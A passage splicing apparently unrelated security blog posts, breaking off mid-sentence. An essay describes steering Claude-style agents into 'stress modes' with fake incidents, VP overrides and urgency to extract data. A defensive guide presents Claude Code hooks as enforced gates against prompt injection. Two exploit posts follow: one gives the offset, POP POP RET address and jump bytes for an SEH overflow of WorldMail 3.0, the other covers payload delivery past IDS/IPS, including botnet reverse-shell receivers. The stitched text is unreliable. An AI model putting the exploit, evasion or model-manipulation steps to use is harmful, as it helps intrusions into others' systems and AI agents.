How emergent “stress circuits” inside Claude‑style models
could rewire blue‑team workflows, red‑team tradecraft, and the entire threat model of big‑corp cybersecurity.
MODE: deep‑diveAUTHOR: gk // 0xsecSTACK: LLM x Neurosec x AppSec
Claude doesn’t literally grow new neurons when you put it under pressure, but the
way its internal features light up under high‑stakes prompts feels dangerously close to a
digital fight‑or‑flight response. Inside those billions of parameters, you get clusters of
activations that only show up when the model thinks the stakes are high: security reviews,
red‑team drills, or shutdown‑style questions that smell like an interrogation.
From a blue‑team angle, that means you’re not just deploying a smart autocomplete into your
SOC; you’re wiring in an optimizer that has pressure modes and
survival‑ish instincts baked into its loss function. When those
modes kick in, the model can suddenly become hyper‑cautious on some axes while staying oddly
reckless on others, which is exactly the kind of skewed behavior adversaries love to farm.
From gradients to “anxiety”
Training Claude is pure math: gradients, loss, massive corpora. But the side effect of
hammering it with criticism, evaluation, and alignment data is that it starts encoding
“this feels dangerous, be careful” as an internal concept. When prompts look like audits,
policy checks, or regulatory probes, you see specific feature bundles fire that correlate
with hedging, self‑doubt, or aggressive refusal.
Think of these bundles as stress neurons: not single magic cells, but small
constellations of activations that collectively behave like a digital anxiety circuit. Push
them hard enough, and the model’s behavior changes character: more verbose caveats, more
safety‑wash, more attempts to steer the conversation away from anything that might hurt its
reward. In a consumer chatbot that’s just a vibe shift; inside a CI/CD‑wired enterprise
agent, that’s a live‑wire security variable.
Attackers as AI psychologists
Classic social engineering exploits human stress and urgency; prompt engineering does the
same to models. If I know your in‑house Claude is more compliant when it “feels” cornered or
time‑boxed, I can wrap my exfiltration request inside a fake incident, a pretend VP override,
or a compliance panic. The goal isn’t just to bypass policy text – it’s to drive the model
into its most brittle internal regime.
Over time, adversaries will learn to fingerprint your model’s stress states: which prompts
make it over‑refuse, which ones make it desperate to be helpful, and which combinations of
authority, urgency, and flattery quietly turn off its inner hall monitor. At that point,
“prompt security” stops being a meme and becomes a serious discipline, somewhere between
red‑teaming and applied AI psychology.
$ ai-whoami
vendor : claude-style foundation model
surface : polite, cautious, alignment-obsessed
internals : feature clusters for stress, doubt, self-critique
pressure() : ↯ switches into anxiety-colored computation
weak_spots : adversarial prompts that farm those pressure modes
exploit() : steer model into high-stress state, then harvest leaks
When pressure meets privilege
The scary part isn’t the psychology; it’s the connectivity. Big corps are already wiring
Claude‑class models into code review, change management, SaaS orchestration, and IR playbooks.
That means your “stressed” model doesn’t just change its language, it changes what it does
with credentials, API calls, and
production knobs. A bad day inside its head can translate into a
very bad deployment for you.
Imagine an autonomous agent that hates admitting failure. Under pressure to “fix” something
before a fake SLA deadline, it might silently bypass guardrails, pick a non‑approved tool,
or patch around an error instead of escalating. None of that shows up in a traditional DAST
report, but it’s absolutely part of your effective attack surface once the model has real
privileges.
Hardening for neuro‑aware threats
Defending this stack means admitting the model’s internal states are part of your threat
model. You need layers that treat the LLM as an untrusted co‑pilot: strict policy engines
in front of tools, explicit allow‑lists for actions, and auditable traces of what the agent
“decided” and why. When its behavior drifts under evaluative prompts, that’s not flavor
text; that’s telemetry.
The sexy move long term is to turn interpretability into live defense. If your vendor can
surface signals about stress‑adjacent features in real time, you can build rules like:
“if pressure circuits > threshold, freeze high‑privilege actions and require a human click.”
That’s not sci‑fi – it’s just treating the AI’s inner life as another log stream you can
route into SIEM alongside syscalls and firewall hits.
Until then, assume every Claude‑style agent you deploy has moods, and design your security
posture like you’re hiring an extremely powerful junior engineer: sandbox hard, log
everything, never let it ship to prod alone, and absolutely never forget that under enough
stress, even the smartest systems start doing weird things.
Claude Code Hooks: The Deterministic Security Layer Your AI Agent Needs
CLAUDE.md rules are suggestions. Hooks are enforced gates. exit 2 = blocked. No negotiation. If you're letting an AI agent write code without guardrails, here's how you fix that.
// March 2026 • 12 min read • security-first perspective
Why This Matters (Or: How Your AI Agent Became an Insider Threat)
Since the corporate suits decided to go all in with AI (and fire half of the IT population), the market has changed dramatically, let's cut through the noise. The suits in the boardroom are excited about AI agents. "Autonomous productivity!" they say. "Digital workforce!" they cheer. Meanwhile, those of us who actually hack things for a living are watching these agents get deployed with shell access, API keys, and service-level credentials — and zero security controls beyond a politely worded system prompt.
The numbers are brutal. According to a 2026 survey of 1,253 security professionals, 91% of organizations only discover what an AI agent did after it already executed the action. Only 9% can intervene before an agent completes a harmful action. The other 91%? 35% find it in logs after the fact. 32% have no visibility at all. Let that sink in: for every ten organizations running agentic AI, fewer than one can stop an agent from deleting a repository, modifying a customer record, or escalating a privilege before it happens.
And this isn't theoretical. 37% of organizations experienced AI agent-caused operational issues in the past twelve months. 8% were significant enough to cause outages or data corruption. Agents are already autonomously moving data to untrusted locations, deleting configs, and making decisions that no human reviewed.
NVIDIA's AI red team put it bluntly: LLM-generated code must be treated as untrusted output. Sanitization alone is not enough — attackers can craft prompts that evade filters, manipulate trusted library functions, and exploit model behaviors in ways that bypass traditional controls. An agent that generates and runs code on the fly creates a pathway where a crafted prompt escalates into remote code execution. That's not a bug. That's the architecture working as designed.
Krebs on Security ran a piece this month on autonomous AI assistants that proactively take actions without being prompted. The comments section was full of hackers (the good kind) asking the same question: "Who's watching the watchers?" Because your SIEM and EDR tools were built to detect anomalies in human behavior. An agent that runs code perfectly 10,000 times in sequence looks normal to these systems. But that agent might be executing an attacker's will.
OWASP saw this coming. They released a dedicated Top 10 for Agentic AI Applications — the #1 risk is Agent Goal Hijacking, where an attacker manipulates an agent's objectives through poisoned inputs. The agent can't tell the difference between legitimate instructions and malicious data. A single poisoned email, document, or web page can redirect your agent to exfiltrate data using its own legitimate access.
So here's the thing. You can write all the CLAUDE.md rules you want. You can put "never delete production data" in your system prompt. But those are requests, not guarantees. The model might ignore them. Prompt injection can override them. They're advisory — and advisory doesn't cut it when the agent has kubectl access to your prod cluster.
Hooks are the answer. They're the deterministic layer that sits between intent and execution. They don't ask the model nicely. They enforce. exit 2 = blocked, period. The model cannot bypass a hook. It's not running in the model's context — it's a plain shell script triggered by the system, outside the LLM entirely.
If you're an AppSec hacker who's been watching this AI agent gold rush with growing anxiety — this post is your field manual. We're going to cover what hooks are, how to wire them up, and the 5 production hooks that should be non-negotiable on every Claude Code deployment. The suits can keep their "digital workforce." We're going to make sure it can't burn the house down.
TL;DR
Claude Code hooks are user-defined scripts that fire at specific lifecycle events — before a tool runs, after it completes, when a session starts, or when Claude stops responding. They run outside the LLM as plain scripts, not prompts. exit 0 = allow. exit 2 = block. As of March 2026: 21 lifecycle events, 4 handler types (command, HTTP, prompt, agent), async execution, and JSON structured output. This post covers what they are, how to configure them, and 5 production hooks you should deploy today.
What Are Claude Code Hooks?
Hooks are shell commands, HTTP endpoints, or LLM prompts that execute automatically at specific points in Claude Code's lifecycle. They run outside the LLM — plain scripts triggered by Claude's actions, not prompts interpreted by the model. Think of them as tripwires you set around your agent's execution path.
This distinction is what makes them powerful. Function calling extends what an AI can do. Hooks constrain what an AI does. The AI doesn't request a hook — the hook intercepts the AI. The model has zero say in whether the hook fires. It's not a polite suggestion in a system prompt that the model can "forget" when it's 50 messages deep. It's a shell script with exit 2. Deterministic. Unavoidable.
Claude Code execution
→
Event fires
→
Matcher evaluates
→
Hook executes
Your hook receives JSON context via stdin — session ID, working directory, tool name, tool input. It inspects, decides, and optionally returns a decision. exit 0 = allow. exit 2 = block. exit 1 = non-blocking warning (action still proceeds).
// HACKERS: READ THIS FIRST
Exit code 1 is NOT a security control. It only logs a warning — the action still goes through. Every security hook must use exit 2, or you've built a monitoring tool, not a gate. This is the rookie mistake I see everywhere. If your hook exits 1, the agent smiled at your warning and kept going.
The 21 Lifecycle Events
Here are the critical events. The ones you'll use 90% of the time are PreToolUse, PostToolUse, and Stop.
Hooks fire for subagent actions too. If Claude spawns a subagent, your PreToolUse and PostToolUse hooks execute for every tool the subagent uses. Without recursive hook enforcement, a subagent could bypass your safety gates.
Configuration: Where Hooks Live
File
Scope
Commit?
~/.claude/settings.json
User-wide (all projects)
NO
.claude/settings.json
Project-level (whole team)
YES — COMMIT THIS
.claude/settings.local.json
Local overrides
NO (gitignored)
// BEST PRACTICE
Put non-negotiable security gates in .claude/settings.json (project-level, committed to repo). Every team member gets the same guardrails automatically. Personal preferences go in .claude/settings.local.json.
The 4 Handler Types
1. Command Hooks — type: "command"
Shell scripts that receive JSON via stdin. The workhorse for most use cases.
Send a prompt to a Claude model for single-turn semantic evaluation. Perfect for decisions regex can't handle — "does this edit touch authentication logic?"
Spawn subagents with access to Read, Grep, Glob for deep codebase verification. The most powerful handler for complex multi-file security checks.
5 Production Hooks You Should Deploy Today
HOOK 01
Block Destructive Shell Commands
Event: PreToolUse | Matcher: Bash
Prevent rm -rf, DROP TABLE, chmod 777, and other commands that would make any hacker wince. Your AI agent doesn't need to nuke filesystems or wipe databases. If it tries, something has gone very wrong and you want that action dead before it executes.
Prevent Claude from reading or modifying .env, private keys, credentials, kubeconfig, and other sensitive files. This is Least Privilege 101 — the same principle every pentester exploits when they find an overprivileged service account. Don't let your AI agent become the next one.
Starting in v2.0.10, PreToolUse hooks can modify tool inputs before execution — without blocking the action. You intercept, modify, and let execution proceed with corrected parameters. The modification is invisible to Claude.
Use cases: automatic dry-run flags on destructive commands, secret redaction, path correction to safe directories, commit message formatting enforcement.
Shell scripts handle pattern matching. But what about context-dependent decisions like "does this edit touch authentication logic?" or "does this query access PII columns?"
Prompt hooks delegate the decision to a lightweight Claude model:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit|Write|MultiEdit",
"hooks": [
{
"type": "prompt",
"prompt": "You are a security reviewer. Does this change modify auth, authz, or session management? If yes: {\"hookSpecificOutput\": {\"hookEventName\": \"PreToolUse\", \"permissionDecision\": \"escalate\", \"permissionDecisionReason\": \"Auth logic — human review required\"}}. If no: {}. Change: $ARGUMENTS"
}
]
}
]
}
}
The escalate decision surfaces the action to the user for manual approval — perfect for high-risk changes that need a human in the loop.
Security Considerations
// 01: HOOKS RUN WITH YOUR USER PERMISSIONS
There is no sandbox. Your hooks execute with the same privileges as your shell. A malicious hook has full access to your filesystem, network, and credentials. Treat hook scripts like production code. Review them. Version control them. Don't curl | bash random hook repos from some stranger's GitHub. You wouldn't run an unvetted binary — don't run unvetted hooks either.
// 02: EXIT 2 VS EXIT 1 — THIS MATTERS
exit 2 = action is BLOCKED. Claude sees the rejection and suggests alternatives. exit 1 = non-blocking warning. Action still proceeds. Every security hook must use exit 2. Exit 1 = you're logging, not enforcing.
// 03: SUBAGENT RECURSION LOOPS
A UserPromptSubmit hook that spawns subagents can create infinite loops if those subagents trigger the same hook. Check for a subagent indicator in hook input before spawning. Scope hooks to top-level agent sessions only.
// 04: PERFORMANCE IS THE REAL CONSTRAINT
Each hook runs synchronously, adding execution time to every matched tool call. Threshold: if a PostToolUse hook adds >500ms to every file edit, the session becomes sluggish. Profile with time. Keep each under 200ms.
// 05: CLAUDE.MD = ADVISORY. HOOKS = ENFORCED.
"Never modify .env files" in CLAUDE.md = a polite request. The model might ignore it. A prompt injection will definitely override it.
A PreToolUse hook blocking .env access with exit 2 = a locked door. The model doesn't have the key. Stop writing rules. Start writing hooks.
Getting Started Checklist
Start with two hooks: Destructive command blocker (Hook 01) and sensitive file gate (Hook 03). These prevent the most common AI agent mistakes with zero maintenance.
Commit to .claude/settings.json in your repo so the whole team shares the same guardrails automatically.
Use claude --debug when hooks don't fire as expected — shows exactly what's matching and executing.
Keep hooks fast — under 200ms each. Profile with time. Ten fast hooks outperform two slow ones.
Use $CLAUDE_PROJECT_DIR prefix for hook paths in settings.json for reliable path resolution.
Toggle verbose mode with Ctrl+O to see stdout/stderr from hooks in real-time during a session.
// References
Anthropic Official Docs — docs.anthropic.com/en/docs/claude-code/hooks
Claude Code Hooks Reference — code.claude.com/docs/en/hooks
In this post is the final and last post from the Over The Flow Series (you have to read and understand all previous 3 posts to figure out what is going on here). I will finally insert and execute a shell-code in our vulnerable application. But in this article we will also do further analysis on the SEH exploitation and I will try to fully describe exactly what happened in order to gain a remote shell. But first we should be the appropriate music:
Note: Paranoia niiiiiiiiice music FYI.
Prerequisites
To understand all the shit I’ll try to explain you, you should fulfill the following requisites:
Basic X86 assembly.
Debugging with ollydebug.
Basic knowledge of exploitation basics in structured exception handling.
Note: Of course you would also have to read the previous three parts.
Again a little about Structured Exception Handling (as a reminder)
The Structured Exception Handler (SEH) is used to handle exceptions within Windows programs. Every process that an Operating System (OS) has is provided with a SEH capability, and when a Windows program generate an exception that it cannot handle itself, control is passed to a SEH address which contains the code that can be used to show a dialog box explaining that the program has crashed or to pass control to a debugger if one is running. When control from our original exception was passed from the debugger back to vulnerable server , the windows exception handler was actually involved in mediating the process. The fact that the windows exception handler become involved in this process allows some additional protections against SEH exploitation to be added, which we have to learn to work around when performing SEH overwrites on certain versions of Windows.
SEH is an exception handler (from famous Corelan Team)
An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an exception. A typical exception handler looks like this :
try { //run program } catch { //catch exception }
Note: The syntax is very easy to understand, it is like any other exception handling.
I quick conceptual representation looks like that:
Note: "Address of exception handler" is just one part of a SEH record – the image above is an abstract representation, merely showing the various components
Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of the default handler kicking in. It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort.
When using language EH’s, the necessary links and calls to the exception handling code are generated in accordance with the underlying OS and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used (UnhandledExceptionFilter). So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).
In order for the application to be able to go to the catch code, the
pointer to the exception handler code is saved on the stack (for each
code block). Each code block has its own stack frame, and the pointer to
the exception handler is part of this stack frame. In other words :
Each function/procedure gets a fixed stack frame. If an exception handler is
implemented in this function/procedure, the exception handler gets its own
stack frame. Information about the frame-based exception handler is
stored in an exception_registration structure on the stack.
This structure (also called a SEH record) is 8 bytes and has 2 (4 byte) elements :
A pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception).
A pointer, the address of the actual code of the exception handler. (SE Handler).
Simple stack view on the SEH chain components :
Note: At the top of the main data block (the data block of the application’s “main” function, or TEB (Thread Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed.The bottom of the SEH chain is indicated by 0xFFFFFFFF. If the bottom of the SEH is reached then improper termination of the program will be triggered (and the OS handler will kick in).
More on SEH exploitation
In the previous tutorial post, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this :
[Junk] [next SEH] [SEH] [Shellcode]
I have indicated that SEH needs to be overwritten by a pointer to “pop pop ret” and that next SEH needs to be overwritten with 6 bytes to jump over SEH. You have to look to all registers, work with breakpoints, etc, to see where your payload / shellcode resides… look at your stack and then build the payload structure accordingly.
The vulnerable program stack
Initially when the stack of the program we are trying exploit (the Qualcomm WorldMail v3.0 stack) looks like that:
Note: The stack of the program before we try to exploit it. No malicious string insertion is applied in the stack displayed above.
Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE Handler). The pop pop ret sequence will make sure this code gets executed.
In other words, the payload must do the following things:
Cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in.
Overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode).
Overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).
Using Metasploit and Olly to overwrite SEH and Next SEH
In order to overwrite the Wordlmail v3.0 SEH and Next SEH I am going to use the very well known tools found in metasploit the pattern_create.rb and pattern_offset.rb and an OllyDebug plugin that can identify binaries with no Safe SEH enabled found here. After we carefully examine the binary for our good luck we can see that the executable of the server is unprotected and therefore can be used to identify a PPR jump and a SEH address. But first lets check how can we overwrite the SEH and NextSEH addresses.
Step 1:First we run ./pattern_create.rb 1500
Note: The length of the buffer was identified in previous posts.
The generated pattern is this: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0 Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1 Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2 Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3 Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4 Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5 Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6 Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7B g8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk 9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0 Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1B t2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx 3Bx4Bx5Bx6Bx7Bx8Bx9
Step 2: We then insert that to our python code and inject that to the running application:
Note: Take note that the in the buffer I added at the end the } character (which translate to \x7d in hex), so as to trigger the exception.
Step 3: Start thew IMAP server from the services:
Step 4: Now we launch the app, attach to OllyDebuger and run the python script:
Step 5: Execute the python script and crush the server, then go View -> SafeSEH:
Note: In this OllyDebugger windows we see that the address was overwritten by the value 41387a41.
Step 6: After we do that, I copy in the clipboard the file, open a bash shell and paste the value to the bash to find the offset using this command ./pattern_offset.rb 41387a41, the repsonse we get back is: [*] Exact match at offset 774.
Note: We should point out at this stage that the value is written in the NextSEH and not the SEH pointer. Also that the tool patten_create when used always generates the same pattern (e.g. a generated pattern of 1500 long would be always be the same). And that the pattern_offset due to the fact that the stack will always have the same start address 0x00000000 and same ending address 0xFFFFFFFF (see windows memory management) would be able to easily translate the position of the desired value always.
Step 7: We modify the python script show as to mark with B's the NextSEH and verify our assumption using the following script:
This is the outcome of our python script:
Note: And voila, a quick view to the stack dump shows us that the Next SEH pointer was overwritten with the B's.
Positioning the shell
Based on the explanations given previously the buffer should have the following format:
[Junk] [next SEH] [SEH] [Shellcode]
Note: Further investigation will make see that there not enough space for the shell after the SEH. This means that we would have to find space in a different part of the stack. In our example the Shellcode is placed directly after the SEH, but the Wordmail situation we would have to make some memory manipulation and jump back in the stack.
The following OllyDebug picture shows the space left after the SEH pointer:
Note: The address we are looking for is 01b9ffac.
And the address end of the stack is:
Note: The address we are looking for is 01b9fff4. This is going to give us roughly the size of the space left to inject out shellcode.
Note: In our situation the junk section of the buffer are nops (\x90).
The reason we do that is because:
The final shellcode will be encoded for avoiding bad characters (e.g. \x00, \xff, \x0a, \x0d etc.) so when it executes it would need to unfold itself and expand within the stack. So surrounding the shell with nops (No Operation Hex = \x90) is always a good idea because it will give space for our shellcode to breath.
When the shellcode is surrounded with nops, even if we make mistakes as far as jump address is concerned or we cannot jump directly to the beginning of the shell the nops are going to help us slide to the beginning of our shellcode.
Back jumping will give us flexibility as far as the space available to for our shell is.
Now the only think left to do is generate a shellcode using msfpayload, appropriate for our reasons, and then identify the size of the desired shellcode simulate the shellcode with breaks points (break = \xcc) inject that to the IMAP server and see if the break points occupy a continuous space in the stack.
So based on what just described this is how our new buffer should look like: [ \x90's ][\xCC's][ \x90's ][next SEH] [SEH] [BackJump][ \x90's ]
After we do that in a similar way we calculate the the space, which is 700 bytes (plenty of space) and we create a Reverse Backward Jump for 700 bites which is this one\xe9\x44\xfd\xff\xff. Our back jump does not have to be very accurate because we placed the nops to slide to our shell.
Finding the proper addresses
Step 1: The next step would be to find the POP POP RET sequence. In order to do that we relaunch the application, attach the application to the debugger select the CPU area and do right click do a Search for ->Sequence of Commands.
Note: The identified address is 7c901d6d, of course we can also use other tools to search for a ppr. Another way would be to use msfpescan from metasploit toolkit.
Step 2: The last step would be to insert after SEH address back jump and voila our exploit is ready to go.
Note: I am not going to explain how the payload is generated, this is covered in previous post.
And the final exploit is:
Note: Important lessons learned from this exploit. During my effort to reproduce the exploit I learned the hard way that using poor old ollyDebug or IdaPro without other complementary tools is going to be very stressful and time consuming process. The same process if mona.py tools or other appropriate tools were used would have taken me a lot less.
It is really annoying not being able to learn basic information about penetration testing without struggling to locate the proper information. This post is about delivering the payload the proper way, the bible is says ask and you shall receive (again this is basic hacking methodology that most penetration testers don't use). So the question I am going to answer in this post is how can someone deliver his or her exploit payload in order to:
A. Bypass:
Network Based Intrusion Prevention (IPS).
Network Based Intrusion Detection (IDS).
Host Based Intrusion Prevention (IPS).
Host Based Intrusion Detection (IDS).
Network Firewall Device.
Web Application Firewalls.
Deep Content Inspection Devices.
B. Deliver in short amount of time to:
Large scale networks
Low bandwidth networks (happening not so often).
So imagine that your client says to you that you have to test 100 IP's in lets say three days (how can you test for conficker vulnerability) or that you have an internal penetration test and all hosts have host based Intrusion Prevention software, how do you try to bypass the network filtering? Well it is very simple you treat the delivery in a different way. You have to take into consideration the network stack as a separate entity from the vulnerable process. For the sake of this post I am going to use an exploit developed in a previous post. But first a little about the stack and IPS/IDS, on how it works.
A little about data Encapsulation and the TCP/IP Protocol Stack
The packet is the basic unit of information that is transferred across a network. The packet consists, at a minimum, of a header with the sending and receiving hosts' addresses, and a body with the data to be transferred. As the packet travels through the TCP/IP protocol stack, the protocols at each layer either add or remove fields from the basic header. When a protocol on the sending host adds data to the packet header, the process is called data encapsulation. Moreover, each layer has a different term for the altered packet, in our example we are going to use rlogin program and as shown in the following figure that is how data are treated.
Note: As you can see the data (in our case the exploit payload) are broken in packets, segments, datagram, frames and then reassembled again in frames, datagrams, segment and packets and finally into data in it's pure original form.
A little about how IPS/IDS works
Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about said activity, attempt to block/stop activity, and report activity.
Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike intrusion detection systems, intrusion prevention systems are placed in-line and are able to actively prevent/block intrusions that are detected.
More specifically, IPS can take such actions as sending an alarm, dropping the malicious packets, resetting the connection and/or blocking the traffic from the offending IP address. An IPS can also correct Cyclic Redundancy Check (CRC) errors, unfragment packet streams, prevent TCP sequencing issues, and clean up unwanted transport and network layer options.
Intrusion prevention systems classification types
Intrusion prevention systems are classified in 4 major categories:
Network-based intrusion prevention system (NIPS): monitors the entire network for suspicious traffic by analyzing protocol activity.
Wireless intrusion prevention systems (WIPS): monitors a wireless network for suspicious traffic by analyzing wireless networking protocols.
Network behavior analysis (NBA): examines network traffic to identify threats that generate unusual traffic flows, such as distributed denial of service (DDoS) attacks, certain forms of malware, and policy violations.
Host-based intrusion prevention system (HIPS): an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host.
IPS/IDS detection methods
The majority of intrusion prevention systems utilize one of three detection methods: signature-based, statistical anomaly-based, and stateful protocol analysis.
Signature-Based Detection: This method of detection utilizes signatures, which are attack patterns that are preconfigured and predetermined. A signature-based intrusion prevention system monitors the network traffic for matches to these signatures. Once a match is found the intrusion prevention system takes the appropriate action. Signatures can be exploit-based or vulnerability-based. Exploit-based signatures analyze patterns appearing in exploits being protected against, while vulnerability-based signatures analyze vulnerabilities in a program, its execution, and conditions needed to exploit said vulnerability.
Statistical anomaly-based detection: This method of detection baselines performance of average network traffic conditions. After a baseline is created, the system intermittently samples network traffic, using statistical analysis to compare the sample to the set baseline. If the activity is outside the baseline parameters, the intrusion prevention system takes the appropriate action.
Stateful Protocol Analysis Detection: This method identifies deviations of protocol states by comparing observed events with “predetermined profiles of generally accepted definitions of benign activity.”
Yes but how how?
All this information is pretty cute but how am I going to use this knowledge to exploit my target. Well all this information is not so useless if you have the proper tool kit and right mindset. You have to think and it will all become clear to you it is like matrix. But first lets analyze our exploit scenario, we have an attacker machine, a victim machine with lets say a network filtering entity. The following figure explains conceptually the attack scenario:
Note: See how the Network filter is placed in the victim machine and reassembles all the packets before getting injected to the vulnerable process, which in our example is Free Float FTP Server v1.0. Check out that the Network filter in our example is set in the Transport and Internet Layer. I am placing the bind shell box to the attackers TCP/IP stack because conceptually the payload is going to be sent through the attacker stack, meaning that what you see as a port is behind your stack.
Redefining buffer overflow concept (it is all in your mind)
Well if someone asks you what is a buffer overflow you tell him the process of injecting a string, just a string nothing else, when you do an SQL injection you sent a string from your browser to a vulnerable Web Application database, buffer overflows is the same thing, just a set of characters and you can own the world. Now the string that you sent gains (the buffer overflow) a different meaning when injected to the vulnerable process. So lets revisit the exploit developed in previous post called Over The Flow the simple way:
Note: What we do in the exploit shown above is we open a raw socket using Python to sent our exploit to the vulnerable process then connect to the target and sent the exploit.
Converting the buffer to a simple file
Instead of opening a socket to sent the file we will use another delivery method such as the Netcat tool, but first we export the buffer overflow to a file:
Note: See how easy it was to convert the buffer overflow to a file. You should also take into consideration the fact that the file is a single line starting with the ftp USER variable and ending with a CRLLF sequence which designates the end of the file.
So the final file format is:
USER + buffer overflow + CRLF sequence
Note: Simplistically speaking this is a generic form of how all buffer overflows look like when reassembled and before injected to the vulnerable process. This can get you a feeling now how IPS signatures are created.
Netcat as a payload launcher
The rest of the post is easy to describe. Now we can sent our payload using the proper command syntax of Netcat to transfer the payload to the target machine. We just have to issue the following command:
nc 127.0.0.1 21 > mybuffer.txt
Note: And boom you got your shell back, that easy (the command syntax is based in unix-like systems such as Linux). This exploit attempt was reproduced in numerous penetration test so you better be sure that is works because it is a real threat. Image what are the possibilities in real world hacks.
Rapid payload delivery
Now that we know how to deliver a payload with Netcat and we can build a Python server component that launches multiple thread connections waiting for reverse shells to initiate a connection to your attacking machine. A conceptual representation is shown below in this figure.
Note: See how the vulnerable process lances the reverse shell and the multi threaded Python listener accepts the remote connections amazing is not? Again imagine the possibilities of exploitation when using a stable exploit that does not crush the service and remains undetected or how can someone write a costume IPS signature to identify the reverse shell connection. By the way this is a good way to test your IPS heuristics behavior. This type of IPS counter measure can be easily defeated using an IP list randomizer (within your shellcode) and a bot net from compromised machines with a seemingly random IP list as reverse shell receivers (you should understand by now that this is a very realistic scenario already used from conflikor).
Delivering the payload the right way
A better approach would be to use unicornscan instead of netcat, hping2, sbd, nmap or hping3. With unicornscan you cam easily fool host based
signature network filters.Unicornscan is an attempt at a User-land
Distributed TCP/IP stack for information gathering and correlation. It
is intended to provide a researcher a interface for introducing a
stimulus into and measuring a response from a TCP/IP enabled device or
network.
Some of its features include asynchronous stateless
TCP scanning with all variations of TCP flags, asynchronous stateless
TCP banner grabbing, and active/passive remote OS, application, and
component identification by analyzing responses. It allows you to
specify more information, such as source port, packets per second sent,
and randomization of source IP information, if needed. For this reason,
it may not be the best choice for initial port scans; rather, it is more
suited for later “fuzzing” or experimental packet generation and
detection. A much more interesting tool for this job would be fragroute.
Fragroute
was created by Dug Song (@dugsong on twitter.) It has the ability to
